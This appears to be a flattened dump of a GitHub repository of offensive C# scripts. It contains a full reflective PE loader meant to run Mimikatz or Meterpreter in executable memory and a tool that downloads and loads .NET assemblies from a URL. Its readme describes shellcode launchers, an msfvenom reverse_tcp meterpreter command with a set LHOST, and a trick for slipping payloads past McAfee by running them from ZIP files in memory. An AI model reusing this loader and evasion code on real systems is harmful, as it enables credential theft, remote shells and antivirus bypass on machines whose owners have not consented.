lpStartAddress, 637 | IntPtr param, 638 | uint dwCreationFlags, 639 | IntPtr lpThreadId 640 | ); 641 | 642 | [DllImport("kernel32")] 643 | public static extern UInt32 WaitForSingleObject( 644 | 645 | IntPtr hHandle, 646 | UInt32 dwMilliseconds 647 | ); 648 | 649 | [StructLayout(LayoutKind.Sequential)] 650 | public unsafe struct IMAGE_IMPORT_DESCRIPTOR 651 | { 652 | public uint OriginalFirstThunk; 653 | public uint TimeDateStamp; 654 | public uint ForwarderChain; 655 | public uint Name; 656 | public uint FirstThunk; 657 | } 658 | 659 | 660 | } 661 | 662 | 663 | 664 | } -------------------------------------------------------------------------------- /parseAssembly.cs: -------------------------------------------------------------------------------- 1 | /* 2 | Author: Arno0x0x, Twitter: @Arno0x0x 3 | 4 | -------------------- x64 platform ---------------- 5 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:parseAssembly.exe parseAssembly.cs 6 | 7 | Or, with debug information: 8 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /define:DEBUG /out:dbc2_agent_debug.exe *.cs 9 | 10 | https://stackoverflow.com/questions/18362368/loading-dlls-at-runtime-in-c-sharp 11 | 12 | */ 13 | 14 | namespace ParseAssembly 15 | { 16 | using System; 17 | using System.IO; 18 | using System.Reflection; 19 | using System.Net; 20 | 21 | class ParseAssembly 22 | { 23 | static void Main(string[] args) 24 | { 25 | string assemblyPath = String.Empty; 26 | bool base64Encoded = false; 27 | byte[] assemblyBytes; 28 | 29 | // Validating args 30 | if (args.Length == 0) 31 | { 32 | Console.WriteLine("[ERROR], missing argument. Please specify an assembly to load, either as a local file or a URL to download from."); 33 | Console.WriteLine("[USAGE]: parseAssembly.exe [base64]"); 34 | return; 35 | } 36 | 37 | // Retrieve the assembly path 38 | assemblyPath = args[0]; 39 | Console.WriteLine("Loading assembly: {0}",assemblyPath); 40 | 41 | // Check if the assembly if base64 encoded 42 | if (args.Length == 2) 43 | { 44 | if(args[1] == "base64") base64Encoded = true; 45 | } 46 | 47 | // Check if the assembly is to be loaded from a URL 48 | if (assemblyPath.StartsWith("http")) 49 | { 50 | WebClient webclient = new WebClient(); 51 | IWebProxy defaultProxy = WebRequest.DefaultWebProxy; 52 | if (defaultProxy != null) 53 | { 54 | defaultProxy.Credentials = CredentialCache.DefaultCredentials; 55 | webclient.Proxy = defaultProxy; 56 | } 57 | 58 | if (base64Encoded) assemblyBytes = Convert.FromBase64String(webclient.DownloadString(assemblyPath)); 59 | else assemblyBytes = webclient.DownloadData(assemblyPath); 60 | } 61 | // Else it's a local file 62 | else 63 | { 64 | if (base64Encoded) assemblyBytes = Convert.FromBase64String(File.ReadAllText(assemblyPath)); 65 | else assemblyBytes = File.ReadAllBytes(assemblyPath); 66 | } 67 | 68 | try 69 | { 70 | Assembly a = Assembly.Load(assemblyBytes); 71 | 72 | // Find the assembly entry point if any 73 | MethodInfo entryPoint = a.EntryPoint; 74 | if (entryPoint != null) 75 | { 76 | Console.WriteLine("----- Assembly EntryPoint -----"); 77 | foreach ( ParameterInfo pi in entryPoint.GetParameters() ) 78 | { 79 | Console.WriteLine("\tMethod: {0}, Parameter: Type={1}, Name={2}", entryPoint.Name, pi.ParameterType, pi.Name); 80 | } 81 | } 82 | 83 | 84 | foreach(Type type in a.GetExportedTypes()) 85 | { 86 | Console.WriteLine(type.FullName); 87 | 88 | foreach(MemberInfo mi in type.GetMembers()) 89 | { 90 | // Member is a method 91 | if (mi.MemberType == MemberTypes.Method) 92 | { 93 | foreach ( ParameterInfo pi in ((MethodInfo) mi).GetParameters() ) 94 | { 95 | Console.WriteLine("\tMethod: {0}, Parameter: Type={1}, Name={2}", mi.Name, pi.ParameterType, pi.Name); 96 | } 97 | } 98 | 99 | // If the member is a property, display information about the property's accessor methods. 100 | else if (mi.MemberType==MemberTypes.Property) 101 | { 102 | foreach (MethodInfo am in ((PropertyInfo) mi).GetAccessors() ) 103 | { 104 | Console.WriteLine("\tProperty: {0}, Accessor method: {1}", mi.Name, am); 105 | } 106 | } 107 | 108 | 109 | } 110 | } 111 | 112 | /* CODE FOR ACTUALLY INVOKE THE ASSEMBLY ENTRY POINT 113 | MethodInfo method = a.EntryPoint; 114 | object o = a.CreateInstance(method.Name); 115 | method.Invoke(o, (new object[] {new string[]{}})); 116 | 117 | - OR - 118 | dynamic c = Activator.CreateInstance(Type.GetType("AssemblyNameSpace.Class");); 119 | c.ClassMethod(@"Hello"); 120 | */ 121 | } 122 | catch (Exception ex) 123 | { 124 | while (ex != null) 125 | { 126 | Console.WriteLine("[ERROR] " + ex.Message); 127 | ex = ex.InnerException; 128 | } 129 | } 130 | } 131 | } 132 | } -------------------------------------------------------------------------------- /peloader.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Net; 4 | using System.Text; 5 | using System.IO.Compression; 6 | using System.Collections.Generic; 7 | using System.Runtime.InteropServices; 8 | 9 | /* 10 | Author: Casey Smith, Twitter: @subTee 11 | License: BSD 3-Clause 12 | 13 | Why: 14 | ==== 15 | This scripts loads a base64 encoded x64 PE file (eg: Mimikatz or a Meterpreter) into memory and reflectively executes it. 16 | 17 | How to compile: 18 | =============== 19 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:peloader.exe peloader.cs 20 | 21 | How to use: 22 | ============ 23 | c:\> peloader.exe 24 | 25 | */ 26 | 27 | namespace PELoader 28 | { 29 | class peloader 30 | { 31 | public static void Main() 32 | { 33 | //=================================================================== 34 | // Base64 encoding of a x64 executable 35 | //=================================================================== 36 | string peAsString = ""; 37 | 38 | byte[] unpacked = System.Convert.FromBase64String(peAsString); 39 | 40 | PELoader pe = new PELoader(unpacked); 41 | 42 | Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4")); 43 | 44 | IntPtr codebase = IntPtr.Zero; 45 | 46 | codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE); 47 | 48 | Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), codebase.ToString("X4")); 49 | 50 | //Copy Sections 51 | for (int i = 0; i < pe.FileHeader.NumberOfSections; i++) 52 | { 53 | 54 | IntPtr y = NativeDeclarations.VirtualAlloc(IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE); 55 | Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData); 56 | Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4")); 57 | } 58 | 59 | //Perform Base Relocation 60 | //Calculate Delta 61 | long currentbase = (long)codebase.ToInt64(); 62 | long delta; 63 | 64 | delta = (long)(currentbase - (long)pe.OptionalHeader64.ImageBase); 65 | 66 | 67 | Console.WriteLine("Delta = {0}", delta.ToString("X4")); 68 | 69 | //Modify Memory Based On Relocation Table 70 | 71 | //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.VirtualAddress.ToString("X4")); 72 | //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.Size.ToString("X4")); 73 | 74 | IntPtr relocationTable = (IntPtr.Add(codebase, (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress)); 75 | //Console.WriteLine(relocationTable.ToString("X4")); 76 | 77 | NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION(); 78 | relocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); 79 | //Console.WriteLine(relocationEntry.VirtualAdress.ToString("X4")); 80 | //Console.WriteLine(relocationEntry.SizeOfBlock.ToString("X4")); 81 | 82 | int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); 83 | IntPtr nextEntry = relocationTable; 84 | int sizeofNextBlock = (int)relocationEntry.SizeOfBlock; 85 | IntPtr offset = relocationTable; 86 | 87 | while (true) 88 | { 89 | 90 | NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION(); 91 | IntPtr x = IntPtr.Add(relocationTable, sizeofNextBlock); 92 | relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); 93 | 94 | 95 | IntPtr dest = IntPtr.Add(codebase, (int)relocationEntry.VirtualAdress); 96 | 97 | 98 | //Console.WriteLine("Section Has {0} Entires",(int)(relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) /2); 99 | //Console.WriteLine("Next Section Has {0} Entires", (int)(relocationNextEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); 100 | 101 | for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++) 102 | { 103 | 104 | IntPtr patchAddr; 105 | UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i)); 106 | 107 | UInt16 type = (UInt16)(value >> 12); 108 | UInt16 fixup = (UInt16)(value & 0xfff); 109 | //Console.WriteLine("{0}, {1}, {2}", value.ToString("X4"), type.ToString("X4"), fixup.ToString("X4")); 110 | 111 | switch (type) 112 | { 113 | case 0x0: 114 | break; 115 | case 0xA: 116 | patchAddr = IntPtr.Add(dest, fixup); 117 | //Add Delta To Location. 118 | long originalAddr = Marshal.ReadInt64(patchAddr); 119 | Marshal.WriteInt64(patchAddr, originalAddr + delta); 120 | break; 121 | 122 | } 123 | 124 | } 125 | 126 | offset = IntPtr.Add(relocationTable, sizeofNextBlock); 127 | sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock; 128 | relocationEntry = relocationNextEntry; 129 | 130 | nextEntry = IntPtr.Add(nextEntry, sizeofNextBlock); 131 | 132 | if (relocationNextEntry.SizeOfBlock == 0) break; 133 | 134 | 135 | } 136 | 137 | 138 | //Resolve Imports 139 | 140 | IntPtr z = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress); 141 | IntPtr oa1 = IntPtr.Add(codebase, (int)pe.OptionalHeader64.ImportTable.VirtualAddress); 142 | int oa2 = Marshal.ReadInt32(IntPtr.Add(oa1, 16)); 143 | 144 | //Get And Display Each DLL To Load 145 | for (int j = 0; j < 999; j++) //HardCoded Number of DLL's Do this Dynamically. 146 | { 147 | IntPtr a1 = IntPtr.Add(codebase, (20 * j) + (int)pe.OptionalHeader64.ImportTable.VirtualAddress); 148 | int entryLength = Marshal.ReadInt32(IntPtr.Add(a1, 16)); 149 | IntPtr a2 = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); //Need just last part? 150 | IntPtr dllNamePTR = (IntPtr)(IntPtr.Add(codebase, +Marshal.ReadInt32(IntPtr.Add(a1, 12)))); 151 | string DllName = Marshal.PtrToStringAnsi(dllNamePTR); 152 | if (DllName == "") { break; } 153 | 154 | IntPtr handle = NativeDeclarations.LoadLibrary(DllName); 155 | Console.WriteLine("Loaded {0}", DllName); 156 | for (int k = 1; k < 9999; k++) 157 | { 158 | IntPtr dllFuncNamePTR = (IntPtr.Add(codebase, +Marshal.ReadInt32(a2))); 159 | string DllFuncName = Marshal.PtrToStringAnsi(IntPtr.Add(dllFuncNamePTR, 2)); 160 | //Console.WriteLine("Function {0}", DllFuncName); 161 | IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName); 162 | Marshal.WriteInt64(a2, (long)funcAddy); 163 | a2 = IntPtr.Add(a2, 8); 164 | if (DllFuncName == "") break; 165 | 166 | } 167 | //Console.ReadLine(); 168 | } 169 | 170 | //Transfer Control To OEP 171 | Console.WriteLine("Executing loaded PE"); 172 | IntPtr threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader64.AddressOfEntryPoint); 173 | IntPtr hThread = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero); 174 | NativeDeclarations.WaitForSingleObject(hThread, 0xFFFFFFFF); 175 | 176 | Console.WriteLine("Thread Complete"); 177 | //Console.ReadLine(); 178 | 179 | } //End Main 180 | }//End Program 181 | 182 | public class PELoader 183 | { 184 | public struct IMAGE_DOS_HEADER 185 | { // DOS .EXE header 186 | public UInt16 e_magic; // Magic number 187 | public UInt16 e_cblp; // Bytes on last page of file 188 | public UInt16 e_cp; // Pages in file 189 | public UInt16 e_crlc; // Relocations 190 | public UInt16 e_cparhdr; // Size of header in paragraphs 191 | public UInt16 e_minalloc; // Minimum extra paragraphs needed 192 | public UInt16 e_maxalloc; // Maximum extra paragraphs needed 193 | public UInt16 e_ss; // Initial (relative) SS value 194 | public UInt16 e_sp; // Initial SP value 195 | public UInt16 e_csum; // Checksum 196 | public UInt16 e_ip; // Initial IP value 197 | public UInt16 e_cs; // Initial (relative) CS value 198 | public UInt16 e_lfarlc; // File address of relocation table 199 | public UInt16 e_ovno; // Overlay number 200 | public UInt16 e_res_0; // Reserved words 201 | public UInt16 e_res_1; // Reserved words 202 | public UInt16 e_res_2; // Reserved words 203 | public UInt16 e_res_3; // Reserved words 204 | public UInt16 e_oemid; // OEM identifier (for e_oeminfo) 205 | public UInt16 e_oeminfo; // OEM information; e_oemid specific 206 | public UInt16 e_res2_0; // Reserved words 207 | public UInt16 e_res2_1; // Reserved words 208 | public UInt16 e_res2_2; // Reserved words 209 | public UInt16 e_res2_3; // Reserved words 210 | public UInt16 e_res2_4; // Reserved words 211 | public UInt16 e_res2_5; // Reserved words 212 | public UInt16 e_res2_6; // Reserved words 213 | public UInt16 e_res2_7; // Reserved words 214 | public UInt16 e_res2_8; // Reserved words 215 | public UInt16 e_res2_9; // Reserved words 216 | public UInt32 e_lfanew; // File address of new exe header 217 | } 218 | 219 | [StructLayout(LayoutKind.Sequential)] 220 | public struct IMAGE_DATA_DIRECTORY 221 | { 222 | public UInt32 VirtualAddress; 223 | public UInt32 Size; 224 | } 225 | 226 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 227 | public struct IMAGE_OPTIONAL_HEADER32 228 | { 229 | public UInt16 Magic; 230 | public Byte MajorLinkerVersion; 231 | public Byte MinorLinkerVersion; 232 | public UInt32 SizeOfCode; 233 | public UInt32 SizeOfInitializedData; 234 | public UInt32 SizeOfUninitializedData; 235 | public UInt32 AddressOfEntryPoint; 236 | public UInt32 BaseOfCode; 237 | public UInt32 BaseOfData; 238 | public UInt32 ImageBase; 239 | public UInt32 SectionAlignment; 240 | public UInt32 FileAlignment; 241 | public UInt16 MajorOperatingSystemVersion; 242 | public UInt16 MinorOperatingSystemVersion; 243 | public UInt16 MajorImageVersion; 244 | public UInt16 MinorImageVersion; 245 | public UInt16 MajorSubsystemVersion; 246 | public UInt16 MinorSubsystemVersion; 247 | public UInt32 Win32VersionValue; 248 | public UInt32 SizeOfImage; 249 | public UInt32 SizeOfHeaders; 250 | public UInt32 CheckSum; 251 | public UInt16 Subsystem; 252 | public UInt16 DllCharacteristics; 253 | public UInt32 SizeOfStackReserve; 254 | public UInt32 SizeOfStackCommit; 255 | public UInt32 SizeOfHeapReserve; 256 | public UInt32 SizeOfHeapCommit; 257 | public UInt32 LoaderFlags; 258 | public UInt32 NumberOfRvaAndSizes; 259 | 260 | public IMAGE_DATA_DIRECTORY ExportTable; 261 | public IMAGE_DATA_DIRECTORY ImportTable; 262 | public IMAGE_DATA_DIRECTORY ResourceTable; 263 | public IMAGE_DATA_DIRECTORY ExceptionTable; 264 | public IMAGE_DATA_DIRECTORY CertificateTable; 265 | public IMAGE_DATA_DIRECTORY BaseRelocationTable; 266 | public IMAGE_DATA_DIRECTORY Debug; 267 | public IMAGE_DATA_DIRECTORY Architecture; 268 | public IMAGE_DATA_DIRECTORY GlobalPtr; 269 | public IMAGE_DATA_DIRECTORY TLSTable; 270 | public IMAGE_DATA_DIRECTORY LoadConfigTable; 271 | public IMAGE_DATA_DIRECTORY BoundImport; 272 | public IMAGE_DATA_DIRECTORY IAT; 273 | public IMAGE_DATA_DIRECTORY DelayImportDescriptor; 274 | public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; 275 | public IMAGE_DATA_DIRECTORY Reserved; 276 | } 277 | 278 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 279 | public struct IMAGE_OPTIONAL_HEADER64 280 | { 281 | public UInt16 Magic; 282 | public Byte MajorLinkerVersion; 283 | public Byte MinorLinkerVersion; 284 | public UInt32 SizeOfCode; 285 | public UInt32 SizeOfInitializedData; 286 | public UInt32 SizeOfUninitializedData; 287 | public UInt32 AddressOfEntryPoint; 288 | public UInt32 BaseOfCode; 289 | public UInt64 ImageBase; 290 | public UInt32 SectionAlignment; 291 | public UInt32 FileAlignment; 292 | public UInt16 MajorOperatingSystemVersion; 293 | public UInt16 MinorOperatingSystemVersion; 294 | public UInt16 MajorImageVersion; 295 | public UInt16 MinorImageVersion; 296 | public UInt16 MajorSubsystemVersion; 297 | public UInt16 MinorSubsystemVersion; 298 | public UInt32 Win32VersionValue; 299 | public UInt32 SizeOfImage; 300 | public UInt32 SizeOfHeaders; 301 | public UInt32 CheckSum; 302 | public UInt16 Subsystem; 303 | public UInt16 DllCharacteristics; 304 | public UInt64 SizeOfStackReserve; 305 | public UInt64 SizeOfStackCommit; 306 | public UInt64 SizeOfHeapReserve; 307 | public UInt64 SizeOfHeapCommit; 308 | public UInt32 LoaderFlags; 309 | public UInt32 NumberOfRvaAndSizes; 310 | 311 | public IMAGE_DATA_DIRECTORY ExportTable; 312 | public IMAGE_DATA_DIRECTORY ImportTable; 313 | public IMAGE_DATA_DIRECTORY ResourceTable; 314 | public IMAGE_DATA_DIRECTORY ExceptionTable; 315 | public IMAGE_DATA_DIRECTORY CertificateTable; 316 | public IMAGE_DATA_DIRECTORY BaseRelocationTable; 317 | public IMAGE_DATA_DIRECTORY Debug; 318 | public IMAGE_DATA_DIRECTORY Architecture; 319 | public IMAGE_DATA_DIRECTORY GlobalPtr; 320 | public IMAGE_DATA_DIRECTORY TLSTable; 321 | public IMAGE_DATA_DIRECTORY LoadConfigTable; 322 | public IMAGE_DATA_DIRECTORY BoundImport; 323 | public IMAGE_DATA_DIRECTORY IAT; 324 | public IMAGE_DATA_DIRECTORY DelayImportDescriptor; 325 | public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; 326 | public IMAGE_DATA_DIRECTORY Reserved; 327 | } 328 | 329 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 330 | public struct IMAGE_FILE_HEADER 331 | { 332 | public UInt16 Machine; 333 | public UInt16 NumberOfSections; 334 | public UInt32 TimeDateStamp; 335 | public UInt32 PointerToSymbolTable; 336 | public UInt32 NumberOfSymbols; 337 | public UInt16 SizeOfOptionalHeader; 338 | public UInt16 Characteristics; 339 | } 340 | 341 | [StructLayout(LayoutKind.Explicit)] 342 | public struct IMAGE_SECTION_HEADER 343 | { 344 | [FieldOffset(0)] 345 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] 346 | public char[] Name; 347 | [FieldOffset(8)] 348 | public UInt32 VirtualSize; 349 | [FieldOffset(12)] 350 | public UInt32 VirtualAddress; 351 | [FieldOffset(16)] 352 | public UInt32 SizeOfRawData; 353 | [FieldOffset(20)] 354 | public UInt32 PointerToRawData; 355 | [FieldOffset(24)] 356 | public UInt32 PointerToRelocations; 357 | [FieldOffset(28)] 358 | public UInt32 PointerToLinenumbers; 359 | [FieldOffset(32)] 360 | public UInt16 NumberOfRelocations; 361 | [FieldOffset(34)] 362 | public UInt16 NumberOfLinenumbers; 363 | [FieldOffset(36)] 364 | public DataSectionFlags Characteristics; 365 | 366 | public string Section 367 | { 368 | get { return new string(Name); } 369 | } 370 | } 371 | 372 | [StructLayout(LayoutKind.Sequential)] 373 | public struct IMAGE_BASE_RELOCATION 374 | { 375 | public uint VirtualAdress; 376 | public uint SizeOfBlock; 377 | } 378 | 379 | [Flags] 380 | public enum DataSectionFlags : uint 381 | { 382 | 383 | Stub = 0x00000000, 384 | 385 | } 386 | 387 | 388 | /// The DOS header 389 | 390 | private IMAGE_DOS_HEADER dosHeader; 391 | 392 | /// The file header 393 | 394 | private IMAGE_FILE_HEADER fileHeader; 395 | 396 | /// Optional 32 bit file header 397 | 398 | private IMAGE_OPTIONAL_HEADER32 optionalHeader32; 399 | 400 | /// Optional 64 bit file header 401 | 402 | private IMAGE_OPTIONAL_HEADER64 optionalHeader64; 403 | 404 | /// Image Section headers. Number of sections is in the file header. 405 | 406 | private IMAGE_SECTION_HEADER[] imageSectionHeaders; 407 | 408 | private byte[] rawbytes; 409 | 410 | 411 | 412 | public PELoader(string filePath) 413 | { 414 | // Read in the DLL or EXE and get the timestamp 415 | using (FileStream stream = new FileStream(filePath, System.IO.FileMode.Open, System.IO.FileAccess.Read)) 416 | { 417 | BinaryReader reader = new BinaryReader(stream); 418 | dosHeader = FromBinaryReader(reader); 419 | 420 | // Add 4 bytes to the offset 421 | stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); 422 | 423 | UInt32 ntHeadersSignature = reader.ReadUInt32(); 424 | fileHeader = FromBinaryReader(reader); 425 | if (this.Is32BitHeader) 426 | { 427 | optionalHeader32 = FromBinaryReader(reader); 428 | } 429 | else 430 | { 431 | optionalHeader64 = FromBinaryReader(reader); 432 | } 433 | 434 | imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections]; 435 | for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo) 436 | { 437 | imageSectionHeaders[headerNo] = FromBinaryReader(reader); 438 | } 439 | 440 | 441 | 442 | rawbytes = System.IO.File.ReadAllBytes(filePath); 443 | 444 | } 445 | } 446 | 447 | public PELoader(byte[] fileBytes) 448 | { 449 | // Read in the DLL or EXE and get the timestamp 450 | using (MemoryStream stream = new MemoryStream(fileBytes, 0, fileBytes.Length)) 451 | { 452 | BinaryReader reader = new BinaryReader(stream); 453 | dosHeader = FromBinaryReader(reader); 454 | 455 | // Add 4 bytes to the offset 456 | stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); 457 | 458 | UInt32 ntHeadersSignature = reader.ReadUInt32(); 459 | fileHeader = FromBinaryReader(reader); 460 | if (this.Is32BitHeader) 461 | { 462 | optionalHeader32 = FromBinaryReader(reader); 463 | } 464 | else 465 | { 466 | optionalHeader64 = FromBinaryReader(reader); 467 | } 468 | 469 | imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections]; 470 | for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo) 471 | { 472 | imageSectionHeaders[headerNo] = FromBinaryReader(reader); 473 | } 474 | 475 | 476 | rawbytes = fileBytes; 477 | 478 | } 479 | } 480 | 481 | 482 | public static T FromBinaryReader(BinaryReader reader) 483 | { 484 | // Read in a byte array 485 | byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T))); 486 | 487 | // Pin the managed memory while, copy it out the data, then unpin it 488 | GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned); 489 | T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T)); 490 | handle.Free(); 491 | 492 | return theStructure; 493 | } 494 | 495 | 496 | 497 | public bool Is32BitHeader 498 | { 499 | get 500 | { 501 | UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100; 502 | return (IMAGE_FILE_32BIT_MACHINE & FileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE; 503 | } 504 | } 505 | 506 | 507 | public IMAGE_FILE_HEADER FileHeader 508 | { 509 | get 510 | { 511 | return fileHeader; 512 | } 513 | } 514 | 515 | 516 | /// Gets the optional header 517 | 518 | public IMAGE_OPTIONAL_HEADER32 OptionalHeader32 519 | { 520 | get 521 | { 522 | return optionalHeader32; 523 | } 524 | } 525 | 526 | 527 | /// Gets the optional header 528 | 529 | public IMAGE_OPTIONAL_HEADER64 OptionalHeader64 530 | { 531 | get 532 | { 533 | return optionalHeader64; 534 | } 535 | } 536 | 537 | public IMAGE_SECTION_HEADER[] ImageSectionHeaders 538 | { 539 | get 540 | { 541 | return imageSectionHeaders; 542 | } 543 | } 544 | 545 | public byte[] RawBytes 546 | { 547 | get 548 | { 549 | return rawbytes; 550 | } 551 | 552 | } 553 | 554 | }//End Class 555 | 556 | 557 | unsafe class NativeDeclarations 558 | { 559 | 560 | public static uint MEM_COMMIT = 0x1000; 561 | public static uint MEM_RESERVE = 0x2000; 562 | public static uint PAGE_EXECUTE_READWRITE = 0x40; 563 | public static uint PAGE_READWRITE = 0x04; 564 | 565 | [StructLayout(LayoutKind.Sequential)] 566 | public unsafe struct IMAGE_BASE_RELOCATION 567 | { 568 | public uint VirtualAdress; 569 | public uint SizeOfBlock; 570 | } 571 | 572 | [DllImport("kernel32")] 573 | public static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, uint size, uint flAllocationType, uint flProtect); 574 | 575 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 576 | public static extern IntPtr LoadLibrary(string lpFileName); 577 | 578 | [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] 579 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 580 | 581 | [DllImport("kernel32")] 582 | public static extern IntPtr CreateThread( 583 | 584 | IntPtr lpThreadAttributes, 585 | uint dwStackSize, 586 | IntPtr lpStartAddress, 587 | IntPtr param, 588 | uint dwCreationFlags, 589 | IntPtr lpThreadId 590 | ); 591 | 592 | [DllImport("kernel32")] 593 | public static extern UInt32 WaitForSingleObject( 594 | 595 | IntPtr hHandle, 596 | UInt32 dwMilliseconds 597 | ); 598 | 599 | [StructLayout(LayoutKind.Sequential)] 600 | public unsafe struct IMAGE_IMPORT_DESCRIPTOR 601 | { 602 | public uint OriginalFirstThunk; 603 | public uint TimeDateStamp; 604 | public uint ForwarderChain; 605 | public uint Name; 606 | public uint FirstThunk; 607 | } 608 | 609 | 610 | } 611 | } -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | C# Scripts 2 | ============ 3 | 4 | Author: Arno0x0x - [@Arno0x0x](https://twitter.com/Arno0x0x) 5 | 6 | This repository aims at publishing some of my C# scripts. Some are just forked/inspired from other scripts I found there and there, and I adapted to fit my needs or just to learn and improve. 7 | 8 | Decrypt via brute force (bf), then load and execute, an xor encrypted shellcode 9 | ---------------- 10 | 11 | **bfDecryptShellcode.cs** 12 | 13 | This script is a little dumb and probably not very useful PoC of a brute force decrypting of a multibyte XOR encrypted shellcode. Once the shellcode is decrypted, it is loaded into memory and executed. 14 | 15 | To use it, you need two things: 16 | 1. An multibyte XOR encrypted shellcode 17 | 2. The MD5 hash of the decrypted payload which serves as a marker for knowing that the proper decryption key has been found 18 | 19 | You can obtain both by using my [ShellcodeWrapper](https://github.com/Arno0x/ShellcodeWrapper) project and feed it with any **raw** metasploit payload. 20 | 21 | 22 | Dynamically load and parse a .Net assembly 23 | ---------------- 24 | 25 | **parseAssembly.cs** 26 | 27 | This console application will dynamically load a .Net assembly (exe or dll), either from a local file or downloaded from a URL, optionnaly base64 encoded. Once loaded, it will enumerate it's types, method and properties. 28 | Examples: 29 | `parseAssembly.exe myAssembly.dll` 30 | or 31 | `parseAssembly.exe http://some.site.com/myAssembly base64` 32 | 33 | 34 | Playing with PE and Shellcode reflective injection 35 | ---------------- 36 | This is a collection of scripts adapted from Casey Smith's ([@subTee](https://twitter.com/subTee)) work on reflectively inject PE or shellcode into the calling process, from various sources. 37 | 38 | **peloader.cs** 39 | 40 | This scripts loads a base64 encoded **x64** PE file (*for example: Mimikatz or a Meterpreter*) into the process's memory and reflectively executes it. The PE is passed as a base64 string variable at the beginning of the file (yes, it's hardcoded). 41 | 42 | You can generate this base64 encoded string from any file using the following \*nix command line: 43 | ``` 44 | root@kali:~# base64 -w 0 mimikatz.exe > mimikatz.b64 45 | ``` 46 | 47 | Compiling the script on a Windows machine requires the .Net framework (*installed by default on Windows 7 onwards*): 48 | ``` 49 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:peloader.exe peloader.cs 50 | ``` 51 | 52 | **shellcodelauncher.cs** 53 | 54 | This script executes a shellcode into the process's memory and reflectively executes it. The shellcode is passed as an array of bytes in a variable. You can get the proper code for this array automatically generated for you with Metasloit's msfvenom utility. For example, to generate a reverse_tcp meterpreter shellcode: 55 | 56 | ``` 57 | root@kali:~# msfvenom -a x86_64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f csharp 58 | ``` 59 | 60 | Compiling the script on a Windows machine requires the .Net framework (*installed by default on Windows 7 onwards*): 61 | 62 | ``` 63 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shellcodeLauncher.exe shellcodeLauncher.cs 64 | ``` 65 | 66 | **runfromzipinmemory.cs** 67 | 68 | This script is heavily and shamefully based, inspired, derived from Casey Smith (@subTee) work on Netkatz. 69 | 70 | I found out that the local antivirus (*McAfee*) on my corporate workstation is configured to *NOT* analyze the content of a ZIP file, probably on the assumption that whenever this content is to be read or executed it would normally first be extracted somewhere on the disk, and any bad stuff in it would get caught by the AV at that time. 71 | 72 | What this script does is loading everything in memory and work only from there, also using reflection to execute a PE from the 